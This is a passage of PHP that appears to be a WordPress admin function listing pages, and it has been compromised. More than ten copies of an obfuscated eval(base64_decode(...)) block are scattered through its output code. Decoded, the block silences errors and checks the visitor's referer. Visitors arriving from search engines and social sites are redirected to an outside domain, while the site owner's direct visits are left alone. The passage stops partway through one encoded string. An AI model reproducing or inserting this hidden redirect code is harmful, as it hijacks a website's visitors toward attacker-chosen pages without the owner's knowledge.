        //sent level 0 by accident, by default, or because we don't know the actual level
        $find_main_page = (int) $page->post_parent;
        while ($find_main_page > 0) {
            $parent = get_page($find_main_page);
            if (is_null($parent)) {
                break;
            }
            $level++;
            $find_main_page = (int) $parent->post_parent;
            if (!isset($parent_name)) {
                $parent_name = $parent->post_title;
            }
        }
    }
    $page->post_title = esc_html($page->post_title);
    $pad = str_repeat('&#8212; ', $level);
    $id = (int) $page->ID;
    $rowclass = 'alternate' == $rowclass ? '' : 'alternate';
    $posts_columns = get_column_headers('edit-pages');
    $hidden = get_hidden_columns('edit-pages');
    $title = _draft_or_post_title();
    ?>
<tr id="page-<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo $id;
    ?>
" class="<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    echo $rowclass;
    ?>
 iedit">
<?php 
    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
    foreach ($posts_columns as $column_name => $column_display_name) {
        $class = "class=\"{$column_name} column-{$column_name}\"";
        $style = '';
        if (in_array($column_name, $hidden)) {
            $style = ' style="display:none;"';
        }
        $attributes = "{$class}{$style}";
        switch ($column_name) {
            case 'cb':
                ?>
		<th scope="row" class="check-column"><input type="checkbox" name="post[]" value="<?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                the_ID();
                ?>
" /></th>
		<?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                break;
            case 'date':
                if ('0000-00-00 00:00:00' == $page->post_date && 'date' == $column_name) {
                    $t_time = $h_time = __('Unpublished');
                    $time_diff = 0;
                } else {
                    $t_time = get_the_time(__('Y/m/d g:i:s A'));
                    $m_time = $page->post_date;
                    $time = get_post_time('G', true);
                    $time_diff = time() - $time;
                    if ($time_diff > 0 && $time_diff < 24 * 60 * 60) {
                        $h_time = sprintf(__('%s ago'), human_time_diff($time));
                    } else {
                        $h_time = mysql2date(__('Y/m/d'), $m_time);
                    }
                }
                echo '<td ' . $attributes . '>';
                echo '<abbr title="' . $t_time . '">' . apply_filters('post_date_column_time', $h_time, $page, $column_name, '') . '</abbr>';
                echo '<br />';
                if ('publish' == $page->post_status) {
                    _e('Published');
                } elseif ('future' == $page->post_status) {
                    if ($time_diff > 0) {
                        echo '<strong class="attention">' . __('Missed schedule') . '</strong>';
                    } else {
                        _e('Scheduled');
                    }
                } else {
                    _e('Last Modified');
                }
                echo '</td>';
                break;
            case 'title':
                $attributes = 'class="post-title page-title column-title"' . $style;
                $edit_link = get_edit_post_link($page->ID);
                ?>
		<td <?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                echo $attributes;
                ?>
><strong><?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                if (current_user_can('edit_page', $page->ID) && $post->post_status != 'trash') {
                    ?>
<a class="row-title" href="<?php 
                    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                    echo $edit_link;
                    ?>
" title="<?php 
                    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                    echo esc_attr(sprintf(__('Edit &#8220;%s&#8221;'), $title));
                    ?>
"><?php 
                    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                    echo $pad;
                    echo $title;
                    ?>
</a><?php 
                    eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vcm9sbG92ZXIud2lrYWJhLmNvbS8iKTsNCmV4aXQoKTsNCn0KfQp9DQp9DQp9"));
                } else {
                    echo $pad;
                    echo $title;
                }
                _post_states($page);
                echo isset($parent_name) ? ' | ' . __('Parent Page: ') . esc_html($parent_name) : '';
                ?>
</strong>
		<?php 
                eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmb